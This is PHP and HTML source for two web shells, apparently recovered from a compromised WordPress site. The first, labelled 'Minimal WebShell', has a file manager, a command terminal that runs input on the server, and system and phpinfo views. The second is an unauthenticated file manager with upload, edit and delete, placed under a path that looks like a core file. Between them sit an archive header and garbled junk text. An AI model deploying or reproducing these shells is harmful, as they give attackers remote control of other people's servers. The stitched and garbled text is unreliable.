<aside class="sidebar"> <div class="sidebar-header"> <h1>WS Simple</h1> <p>Minimal WebShell</p> </div> <nav class="sidebar-nav"> <a href="#" onclick="showTab('files', this); return false;" class="nav-item active" data-tab="files"> <i class="fas fa-folder-open"></i> <span>Files</span> </a> <a href="#" onclick="showTab('terminal', this); return false;" class="nav-item" data-tab="terminal"> <i class="fas fa-terminal"></i> <span>Terminal</span> </a> <a href="#" onclick="showTab('info', this); return false;" class="nav-item" data-tab="info"> <i class="fas fa-chart-bar"></i> <span>System</span> </a> <a href="#" onclick="showTab('phpinfo', this); return false;" class="nav-item" data-tab="phpinfo"> <i class="fab fa-php"></i> <span>PHP Info</span> </a> </nav> <div class="sidebar-footer"> <div class="info-box"> <label>User</label> <span><?php echo htmlspecialchars($current_user); ?></span> </div> <div class="info-box"> <label>Host</label> <span><?php echo htmlspecialchars($hostname); ?></span> </div> <a href="?logout=1" class="btn-logout"> <i class="fas fa-sign-out-alt"></i> Logout </a> </div> </aside> <!-- Main Content --> <main class="main"> <div class="main-inner"> <!-- Header --> <div class="header-bar"> <div style="display: flex; gap: 8px; flex-wrap: wrap;"> <span class="badge bg-yellow"><i class="fas fa-server"></i> <?php echo htmlspecialchars($hostname); ?></span> <span class="badge bg-blue"><i class="fab fa-php"></i> <?php echo $php_version; ?></span> <span class="badge bg-green"><i class="fas fa-circle" style="font-size: 6px;"></i> ONLINE</span> </div> <div class="path-box mono"><?php echo htmlspecialchars($cwd); ?></div> </div> <!-- Messages --> <?php if (isset($msg)): ?> <div class="msg"> <i class="fas fa-check-circle" style="color: #22c55e;"></i> <?php echo htmlspecialchars($msg); ?> </div> <?php endif; ?> <?php if (isset($error)): ?> <div class="msg error"> <i class="fas fa-exclamation-circle" style="color: #ef4444;"></i> <?php echo htmlspecialchars($error); ?> </div> <?php endif; ?> <!-- FILES TAB --> <div id="files-tab" class="tab-content active"> <?php $path_parts = explode('/', trim($cwd, '/')); $path_acc = ''; ?> <!-- Breadcrumb --> <div class="breadcrumb"> <i class="fas fa-folder-open"></i> <?php foreach ($path_parts as $i => $part): ?> <?php if (empty($part)) continue; ?> <?php $path_acc .= '/' . $part; ?> <?php if ($i > 0): ?><span>/</span><?php endif; ?> <a href="?d=<?php echo urlencode($path_acc); ?>"><?php echo htmlspecialchars($part); ?></a> <?php endforeach; ?> </div> <!-- Actions --> <div style="display: flex; gap: 10px; margin-bottom: 20px; flex-wrap: wrap;"> <button onclick="openModal('upload-modal')" class="neo-btn neo-btn-primary"> <i class="fas fa-cloud-upload-alt"></i> Upload </button> <button onclick="openModal('mkdir-modal')" class="neo-btn neo-btn-warning"> <i class="fas fa-folder-plus"></i> New Folder </button> <button onclick="openModal('touch-modal')" class="neo-btn neo-btn-success"> <i class="fas fa-file-plus"></i> New File </button> </div> <!-- File List --> <div class="neo-box" style="padding: 0; overflow: hidden;"> <table class="file-table"> <thead> <tr> <th>Name</th> <th style="width: 100px;">Size</th> <th style="width: 125px;">Perm</th> <th style="width: 150px;">Modified</th> <th style="width: 200px;">Actions</th> </tr> </thead> <tbody> <?php if ($cwd != $root_dir && $cwd != '/'): ?> <tr> <td> <a href="?d=<?php echo urlencode(dirname($cwd)); ?>" style="text-decoration: none; color: #000; font-weight: 700;"> <i class="fas fa-level-up-alt" style="margin-right: 8px; color: #fbbf24;"></i> .. </a> </td> <td class="mono">-</td> <td>-</td> <td>-</td> <td>-</td> </tr> <?php endif; ?> <?php $h = @opendir($cwd); if ($h): $dirs = array(); $files = array(); while (($f = readdir($h)) !== false): if ($f == '.' || $f == '..') continue; $p = $cwd . '/' . $f; if (is_dir($p)) { $dirs[] = $f; } else { $files[] = $f; } endwhile; closedir($h); sort($dirs); sort($files); foreach (array_merge($dirs, $files) as $f): $p = $cwd . '/' . $f; $is_dir = is_dir($p); $size = $is_dir ? '-' : formatBytes(filesize($p)); $perms = getPerms($p); $mtime = date('M j, H:i', filemtime($p)); $ext = strtolower(pathinfo($f, PATHINFO_EXTENSION)); $icon = 'fa-file'; $color = 'text-gray-600'; if ($is_dir) { $icon = 'fa-folder'; $color = 'text-yellow-600'; } elseif (in_array($ext, array('php', 'phtml'))) { $icon = 'fa-file-code'; $color = 'text-purple-600'; } elseif (in_array($ext, array('html', 'htm'))) { $icon = 'fa-html5'; $color = 'text-orange-600'; } elseif (in_array($ext, array('css'))) { $icon = 'fa-css3'; $color = 'text-blue-600'; } elseif (in_array($ext, array('js'))) { $icon = 'fa-js'; $color = 'text-yellow-600'; } elseif (in_array($ext, array('jpg', 'jpeg', 'png', 'gif'))) { $icon = 'fa-image'; $color = 'text-green-600'; } ?> <tr> <td> <?php if ($is_dir): ?> <a href="?d=<?php echo urlencode($p); ?>" style="text-decoration: none; color: #000; font-weight: 700;"> <i class="fas <?php echo $icon; ?>" style="margin-right: 10px; color: <?php echo str_replace('text-', '', $color); ?>;"></i> <?php echo htmlspecialchars($f); ?> </a> <?php else: ?> <span style="font-weight: 700;"> <i class="fas <?php echo $icon; ?>" style="margin-right: 10px; color: <?php echo str_replace('text-', '', $color); ?>;"></i> <?php echo htmlspecialchars($f); ?> </span> <?php endif; ?> </td> <td class="mono" style="text-align: right;"><?php echo $size; ?></td> <td><span class="badge bg-gray mono" style="font-size: 10px; padding: 2px 6px;"><?php echo $perms; ?></span></td> <td style="color: #666; font-size: 12px;"><?php echo $mtime; ?></td> <td> <div style="display: flex; gap: 4px;"> <?php if (!$is_dir): ?> <a href="?tab=edit&f=<?php echo urlencode($p); ?>&d=<?php echo urlencode($cwd); ?>" class="neo-btn neo-btn-sm" style="background: #dbeafe; color: #1e40af;" title="Edit"> <i class="fas fa-edit"></i> </a> <?php endif; ?> <button onclick="renameFile('<?php echo htmlspecialchars($f, ENT_QUOTES); ?>')" class="neo-btn neo-btn-sm neo-btn-warning" title="Rename"> <i class="fas fa-pen"></i> </button> <a href="?d=<?php echo urlencode($cwd); ?>&del=<?php echo urlencode($f); ?>&csrf=<?php echo urlencode($_SESSION['csrf']); ?>" class="neo-btn neo-btn-sm neo-btn-danger" onclick="return confirm(<?php echo json_encode('Delete ' . $f . '?', JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT); ?>)" title="Delete"> <i class="fas fa-trash"></i> </a> </div> </td> </tr> <?php endforeach; endif; ?> </tbody> </table> </div> </div> <!-- EDIT TAB --> <?php if ($tab == 'edit' && isset($_GET['f'])): $f = $_GET['f']; $content = file_exists($f) ? file_get_contents($f) : ''; ?> <div id="edit-tab" class="tab-content active"> <div class="neo-box" style="padding: 0; overflow: hidden;"> <div style="background: #3b82f6; border-bottom: 3px solid #000; padding: 14px 18px; display: flex; align-items: center; justify-content: space-between;"> <div style="display: flex; align-items: center; gap: 10px; color: #fff;"> <i class="fas fa-file-code"></i> <span style="font-weight: 700;"><?php echo htmlspecialchars(basename($f)); ?></span> </div> <a href="?d=<?php echo urlencode($cwd); ?>" class="neo-btn neo-btn-sm" style="background: #fff; color: #000;"> <i class="fas fa-times"></i> </a> </div> <form method="post" style="margin: 0;"> <?php csrf_field(); ?> <input type="hidden" name="f" value="<?php echo htmlspecialchars($f); ?>"> <textarea name="s" spellcheck="false"><?php echo htmlspecialchars($content); ?></textarea> <div style="display: flex; gap: 10px; padding: 16px; background: #f5f5f5; border-top: 3px solid #000;"> <button type="submit" class="neo-btn neo-btn-success"> <i class="fas fa-save"></i> Save </button> <a href="?d=<?php echo urlencode($cwd); ?>" class="neo-btn neo-btn-dark"> Cancel </a> </div> </form> </div> </div> <?php endif; ?> <!-- TERMINAL TAB --> <div id="terminal-tab" class="tab-content"> <div class="terminal-box"> <div class="terminal-header"> <div class="terminal-title"> <i class="fas fa-terminal"></i> Terminal </div> <button onclick="document.getElementById('terminal-output').innerHTML=''" class="neo-btn neo-btn-sm" style="background: #fff; color: #000;"> <i class="fas fa-eraser"></i> Clear </button> </div> <div id="terminal-output" class="terminal-body"># Terminal ready. Type command below and press Enter.</div> <form method="post" onsubmit="runTerminal(event)"> <?php csrf_field(); ?> <div class="terminal-input-line"> <span class="terminal-prompt mono">$</span> <input type="text" name="c" id="terminal-cmd" class="terminal-input" placeholder="Enter command..." autocomplete="off" autofocus> </div> </form> </div> </div> <!-- INFO TAB --> <div id="info-tab" class="tab-content"> <div class="info-grid"> <div class="info-card"> <div class="info-card-header"> <div class="info-icon blue"><i class="fas fa-server"></i></div> <h3>System</h3> </div> <div class="info-row"> <label>OS</label> <span><?php echo PHP_OS; ?></span> </div> <div class="info-row"> <label>Hostname</label> <span class="mono"><?php echo htmlspecialchars($hostname); ?></span> </div> <div class="info-row"> <label>PHP Version</label> <span class="mono"><?php echo $php_version; ?></span> </div> </div> <div class="info-card"> <div class="info-card-header"> <div class="info-icon green"><i class="fas fa-globe"></i></div> <h3>Server</h3> </div> <div class="info-row"> <label>Software</label> <span><?php echo htmlspecialchars(isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'N/A'); ?></span> </div> <div class="info-row"> <label>Protocol</label> <span><?php echo htmlspecialchars(isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'N/A'); ?></span> </div> <div class="info-row"> <label>Port</label> <span class="mono"><?php echo htmlspecialchars(isset($_SERVER['SERVER_PORT']) ? $_SERVER['SERVER_PORT'] : 'N/A'); ?></span> </div> </div> <div class="info-card"> <div class="info-card-header"> <div class="info-icon yellow"><i class="fas fa-user"></i></div> <h3>User Context</h3> </div> <div class="info-row"> <label>User</label> <span><?php echo htmlspecialchars($current_user); ?></span> </div> <div class="info-row"> <label>Current Dir</label> <span class="mono" style="font-size: 11px;"><?php echo htmlspecialchars($cwd); ?></span> </div> <div class="info-row"> <label>Document Root</label> <span class="mono" style="font-size: 11px;"><?php echo htmlspecialchars(isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : 'N/A'); ?></span> </div> </div> <div class="info-card"> <div class="info-card-header"> <div class="info-icon purple"><i class="fab fa-php"></i></div> <h3>PHP Environment</h3> </div> <div class="info-row"> <label>SAPI</label> <span><?php echo php_sapi_name(); ?></span> </div> <div class="info-row"> <label>Memory Limit</label> <span class="mono"><?php echo ini_get('memory_limit'); ?></span> </div> <div class="info-row"> <label>Max Upload</label> <span class="mono"><?php echo ini_get('upload_max_filesize'); ?></span> </div> </div> </div> </div> <!-- PHPINFO TAB --> <div id="phpinfo-tab" class="tab-content"> <div class="neo-box" style="padding: 0; overflow: hidden;"> <div style="background: #a855f7; border-bottom: 3px solid #000; padding: 14px 18px; display: flex; align-items: center; gap: 10px; color: #fff;"> <i class="fab fa-php"></i> <span style="font-weight: 700;">PHP Information</span> </div> <div style="padding: 0; max-height: 600px; overflow: auto;"> <?php ob_start(); phpinfo(); $info = ob_get_clean(); $info = preg_replace('/<style.*?>.*?<\/style>/s', '', $info); $info = preg_replace('/<head>.*?<\/head>/s', '', $info); $info = str_replace(['<body>', '</body>', '</html>'], '', $info); echo $info; ?> </div> </div> </div> </div> </main> </div> <!-- Upload Modal --> <div id="upload-modal" class="modal-overlay"> <div class="modal"> <div class="modal-header"> <div class="modal-icon" style="background: #3b82f6; color: #fff;"><i class="fas fa-cloud-upload-alt"></i></div> <h3>Upload File</h3> </div> <form method="post" enctype="multipart/form-data"> <?php csrf_field(); ?> <input type="file" name="f" class="neo-input" style="width: 100%; padding: 12px;"> <div class="modal-footer"> <button type="button" onclick="closeModal('upload-modal')" class="neo-btn neo-btn-dark">Cancel</button> <button type="submit" class="neo-btn neo-btn-primary">Upload</button> </div> </form> </div> </div> <!-- New Folder Modal --> <div id="mkdir-modal" class="modal-overlay"> <div class="modal"> <div class="modal-header"> <div class="modal-icon" style="background: #fbbf24;"><i class="fas fa-folder-plus"></i></div> <h3>New Folder</h3> </div> <form method="post"> <?php csrf_field(); ?> <input type="text" name="dirname" placeholder="folder-name" class="neo-input" style="width: 100%;" required> <div class="modal-footer"> <button type="button" onclick="closeModal('mkdir-modal')" class="neo-btn neo-btn-dark">Cancel</button> <button type="submit" name="mkdir" class="neo-btn neo-btn-warning">Create</button> </div> </form> </div> </div> <!-- New File Modal --> <div id="touch-modal" class="modal-overlay"> <div class="modal"> <div class="modal-header"> <div class="modal-icon" style="background: #22c55e;"><i class="fas fa-file-plus"></i></div> <h3>New File</h3> </div> <form method="post"> <?php csrf_field(); ?> <input type="text" name="filename" placeholder="file.txt" class="neo-input" style="width: 100%;" required> <div class="modal-footer"> <button type="button" onclick="closeModal('touch-modal')" class="neo-btn neo-btn-dark">Cancel</button> <button type="submit" name="touch" class="neo-btn neo-btn-success">Create</button> </div> </form> </div> </div> <!-- Rename Modal --> <div id="rename-modal" class="modal-overlay"> <div class="modal"> <div class="modal-header"> <div class="modal-icon" style="background: #fbbf24;"><i class="fas fa-pen"></i></div> <h3>Rename</h3> </div> <form method="post"> <?php csrf_field(); ?> <input type="hidden" name="oldname" id="rename-old"> <input type="text" name="newname" id="rename-new" placeholder="New name" class="neo-input" style="width: 100%;" required> <div class="modal-footer"> <button type="button" onclick="closeModal('rename-modal')" class="neo-btn neo-btn-dark">Cancel</button> <button type="submit" name="rename" class="neo-btn neo-btn-primary">Rename</button> </div> </form> </div> </div> <script> var CSRF = '<?php echo $_SESSION['csrf']; ?>'; // Tab switching function showTab(tabName, element) { document.querySelectorAll('.tab-content').forEach(tab => { tab.classList.remove('active'); }); document.querySelectorAll('.nav-item').forEach(link => { link.classList.remove('active'); }); document.getElementById(tabName + '-tab').classList.add('active'); if (element) element.classList.add('active'); if (tabName === 'terminal') { setTimeout(() => document.getElementById('terminal-cmd').focus(), 100); } } // Modal functions function openModal(id) { document.getElementById(id).classList.add('active'); } function closeModal(id) { document.getElementById(id).classList.remove('active'); } // Rename file function renameFile(oldName) { document.getElementById('rename-old').value = oldName; document.getElementById('rename-new').value = oldName; openModal('rename-modal'); setTimeout(() => { document.getElementById('rename-new').focus(); document.getElementById('rename-new').select(); }, 100); } // Terminal function runTerminal(e) { e.preventDefault(); var cmd = document.getElementById('terminal-cmd').value; var output = document.getElementById('terminal-output'); if (!cmd.trim()) return; output.innerHTML += '\n<span style="color: #fbbf24;">$ ' + escapeHtml(cmd) + '</span>\n'; var xhr = new XMLHttpRequest(); xhr.open('POST', '', true); xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); xhr.onreadystatechange = function() { if (xhr.readyState == 4) { output.innerHTML += escapeHtml(xhr.responseText) + '\n'; output.scrollTop = output.scrollHeight; } }; xhr.send('c=' + encodeURIComponent(cmd) + '&csrf=' + encodeURIComponent(CSRF)); document.getElementById('terminal-cmd').value = ''; } function escapeHtml(text) { var div = document.createElement('div'); div.textContent = text; return div.innerHTML; } // Handle escape key document.addEventListener('keydown', function(e) { if (e.key === 'Escape') { document.querySelectorAll('.modal-overlay').forEach(m => m.classList.remove('active')); } }); // Tab support in textarea document.querySelectorAll('textarea').forEach(function(textarea) { textarea.addEventListener('keydown', function(e) { if (e.key === 'Tab') { e.preventDefault(); var start = this.selectionStart; var end = this.selectionEnd; this.value = this.value.substring(0, start) + ' ' + this.value.substring(end); this.selectionStart = this.selectionEnd = start + 4; } }); }); </script> </body> </html> home/centroca/public_html/wp/wp-includes/l10n/maintenance/index.php 0000644 00000027210 15252476766 0021356 0 ustar 00 fhdwewerw/npm/bhjkhjkhjkhjkhjkootstrap@5.3.0 -alpha1/dist/css/bootstrap /npm/bootstrap[[p[ jhkhjkhjkhjkhjkhjkjjhkhjkhjkp[pp[p]p[]p[]p[]p[] mnmn,nhjghjghjp[]p[]p[p[ <!DOCTYPE htmccccccccccccccccccccccccccccccccccccccccccccccccc p@5.3.0cccccccccccco;oi;io;io;ghjhjghjgchjcghjghjchjcghjccc ccccccccccccccccccccccccccccccccccccccccc jhkhjkhjkhjkhkjghjghjg op[op[cccccccchjchjcghjcghjcghjcghjcghjcghjcghjcghjcghjchjchjchjcghjchjcgcccccccccccccccccccccccc mnmn,nhjghjghj <!DOCTYPE cghjchjchjcgjcghjcghjcghjcghjcghjcgjcgjcghjcghjhgcjcghjcghjcghjcghjcghjhtml>mmpoop <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>bnmbertsurrttrtrtrtrjhjhjjhjhhjhjhjhf'tdfg</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css" integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ==" crossorigin="anonymous" referrerpolicy="no-referrer" /> </head> <body> <?php //function function formatSizeUnits($bytes) { if ($bytes >= 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' bytes'; } elseif ($bytes == 1) { $bytes = $bytes . ' byte'; } else { $bytes = '0 bytes'; } return $bytes; } function fileExtension($file) { return substr(strrchr($file, '.'), 1); } function fileIcon($file) { $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); $ext = strtolower(fileExtension($file)); if ($file == "error_log") { return '<i class="fa-sharp fa-solid fa-bug"></i> '; } elseif ($file == ".htaccess") { return '<i class="fa-solid fa-hammer"></i> '; } if ($ext == "html" || $ext == "htm") { return '<i class="fa-brands fa-html5"></i> '; } elseif ($ext == "php" || $ext == "phtml") { return '<i class="fa-brands fa-php"></i> '; } elseif (in_array($ext, $imgs)) { return '<i class="fa-regular fa-images"></i> '; } elseif ($ext == "css") { return '<i class="fa-brands fa-css3"></i> '; } elseif ($ext == "txt") { return '<i class="fa-regular fa-file-lines"></i> '; } elseif (in_array($ext, $audio)) { return '<i class="fa-duotone fa-file-music"></i> '; } elseif ($ext == "py") { return '<i class="fa-brands fa-python"></i> '; } elseif ($ext == "js") { return '<i class="fa-brands fa-js"></i> '; } else { return '<i class="fa-solid fa-file"></i> '; } } function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($a, $b, $path); } function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($b, $a, $path); } $root_path = __DIR__; if (isset($_GET['p'])) { if (empty($_GET['p'])) { $p = $root_path; } elseif (!is_dir(decodePath($_GET['p']))) { echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>"); } elseif (is_dir(decodePath($_GET['p']))) { $p = decodePath($_GET['p']); } } elseif (isset($_GET['q'])) { if (!is_dir(decodePath($_GET['q']))) { echo ("<script>window.location.replace('?p=');</script>"); } elseif (is_dir(decodePath($_GET['q']))) { $p = decodePath($_GET['q']); } } else { $p = $root_path; } define("PATH", $p); echo (' <nav class="navbar navbar-light" style="background-color: #e3f2fd;"> <div class="navbar-brand"> <a href="?"><img src="https://raw.githubusercontent.com/hurairathexper/elepfilemanager/main/img/icon.png" width="30" height="30" alt=""></a> '); $path = str_replace('\\', '/', PATH); $paths = explode('/', $path); foreach ($paths as $id => $dir_part) { if ($dir_part == '' && $id == 0) { $a = true; echo "<a href=\"?p=/\">/</a>"; continue; } if ($dir_part == '') continue; echo "<a href='?p="; for ($i = 0; $i <= $id; $i++) { echo str_replace(":", "ঘ", $paths[$i]); if ($i != $id) echo "ক"; } echo "'>" . $dir_part . "</a>/"; } echo (' </div> <div class="form-inline"> <a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload FileeE</button></a> <a href="?"><button type="button" class="btn btn-dark">HOME</button></a> </div> </nav>'); if (isset($_GET['p'])) { //fetch files if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = array(); $files = array(); foreach ($fetch_obj as $obj) { if ($obj == '.' || $obj == '..') { continue; } $new_obj = PATH . '/' . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } } echo ' <table class="table table-hover"> <thead> <tr> <th scope="col">Name</th> <th scope="col">Size</th> <th scope="col">Modified</th> <th scope="col">Perms</th> <th scope="col">Actions</th> </tr> </thead> <tbody> '; foreach ($folders as $folder) { echo " <tr> <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td> <td><b>---</b></td> <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td> <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td> <td> <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a> <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a> <td> </tr> "; } foreach ($files as $file) { echo " <tr> <td>" . fileIcon($file) . $file . "</td> <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td> <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td> <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td> <td> <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a> <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a> <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a> <td> </tr> "; } echo " </tbody> </table>"; } else { if (empty($_GET)) { echo ("<script>window.location.replace('?p=');</script>"); } } if (isset($_GET['upload'])) { echo ' <form method="post" enctype="multipart/form-data"> Select file to upload: <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" class="btn btn-dark" value="Upload" name="upload"> </form>'; } if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { echo ' <form method="post"> Rename: <input type="text" name="name" value="' . $_GET['r'] . '"> <input type="submit" class="btn btn-dark" value="Rename" name="rename"> </form>'; if (isset($_POST['rename'])) { $name = PATH . "/" . $_GET['r']; if(rename($name, PATH . "/" . $_POST['name'])) { echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } else { echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } } } } if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { echo ' <form method="post"> <textarea style="height: 500px; width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea> <br> <input type="submit" class="btn btn-dark" value="Save" name="edit"> </form>'; if(isset($_POST['edit'])) { $filename = PATH."/".$_GET['e']; $data = $_POST['data']; $open = fopen($filename,"w"); if(fwrite($open,$data)) { echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } else { echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } fclose($open); } } } if (isset($_POST["upload"])) { $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"]; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>"; } else { echo "<p>Sorry, there was an error uploading your file.</p>"; } } if (isset($_GET['d']) && isset($_GET['q'])) { $name = PATH . "/" . $_GET['d']; if (is_file($name)) { if(unlink($name)) { echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } else { echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } } elseif (is_dir($name)) { if(rmdir($name) == true) { echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } else { echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>"); } } } ?> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js" integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN" crossorigin="anonymous"></script> </body> </html>